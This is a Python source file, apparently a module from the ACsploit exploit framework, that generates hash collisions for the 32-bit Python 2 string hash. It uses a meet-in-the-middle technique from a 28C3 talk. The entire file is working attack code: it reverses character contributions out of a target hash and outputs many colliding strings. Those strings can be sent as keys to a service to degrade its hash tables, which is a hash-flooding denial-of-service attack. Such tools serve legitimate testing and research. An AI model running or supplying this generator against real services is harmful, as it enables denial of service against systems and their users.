import itertools
from acsploit.options import Options

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('substring_length', 4, 'Length of substrings to use. Exponential in time and memory.')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the 32-bit Python 2 string hash function' \
              '\n\n' \
              'Uses a memory-intensive technique that generates fixed-length strings. ' \
              'Based on a technique published by Alexander ‘alech’ Klink and Julian | zeri at 28C3. ' \
              '(See https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html for details.)'

DEFAULT_INPUT = 'char'

# to find collisions for the 64-bit python hash change HASH_MODULUS to 2**64 and RING_INVERSE to 16109806864799210091
# NB: finding 64-bit collisions via this method is so slow as to be practically useless and so is unsupported
HASH_MODULUS = 2**32  # derived from the bit-width of the python executable
RING_INVERSE = 2021759595  # the inverse of 1_000_003 % HASH_MODULUS


def run(generator, output):
    # given a target hash and string length
    # generate random strings of n characters and reverse them out of the hash value
    # make a lookup table from the resulting semi-hash values to the strings
    # generate random strings of length - n characters and partially hash them
    # if the result is in the hash table, concat the n chars there onto the end of the string to get a collision
    # a meet-in-the-middle brute force attack!
    if options['target_type'] == 'preimage':
        target = hash(options['target'])
    else:
        target = int(options['target'])

    target_length = options['length']
    forward_length = target_length - options['substring_length']
    if forward_length <= 0:
        raise ValueError('length (%i) must be greater than substring_length (%i)' % (options['length'],
                                                                                     options['substring_length']))

    table = hash_backwards(target, generator, target_length, options['substring_length'])
    collisions = hash_forwards(options['n_collisions'], forward_length, generator, table)

    output.output(collisions)


def hash(preimage):
    x = ord(preimage[0]) << 7
    for char in preimage:
        x = (1_000_003 * x) ^ ord(char)
        x %= HASH_MODULUS
    x ^= len(preimage)
    return x


# partial_len must equal preimage_len - substring_len in the call to hash_backwards() used to build lookup_table
def hash_forwards(n_collisions, partial_len, generator, lookup_table):
    characters = generator.get_char_set()

    collisions = []

    for partial_preimage in itertools.product(characters, repeat=partial_len):
        semi_hash = hash(partial_preimage) ^ partial_len  # undo the XOR, as it's included in the table value
        if semi_hash in lookup_table:
            collisions.append(''.join(partial_preimage) + lookup_table[semi_hash])
        if len(collisions) == n_collisions:
            return collisions

    raise ValueError('Could not find %i collisions (%i found); try increasing "length"' % (n_collisions,
                                                                                           len(collisions)))


def hash_backwards(target, generator, preimage_len, substring_len):
    # 'reverse' the given number of characters out of the target hash
    # uses all possible strings of the given length and returns a table
    # from the semi-computed hashes to the generated strings of characters
    table = {}

    characters = generator.get_char_set()

    for substring in itertools.product(characters, repeat=substring_len):
        semi_hash = target
        substring = ''.join(substring)

        # XOR out the length
        semi_hash ^= preimage_len
        # undo each character
        for char in reversed(substring):
            semi_hash ^= ord(char)
            semi_hash *= RING_INVERSE
            semi_hash %= HASH_MODULUS

        table[semi_hash] = substring

    return table
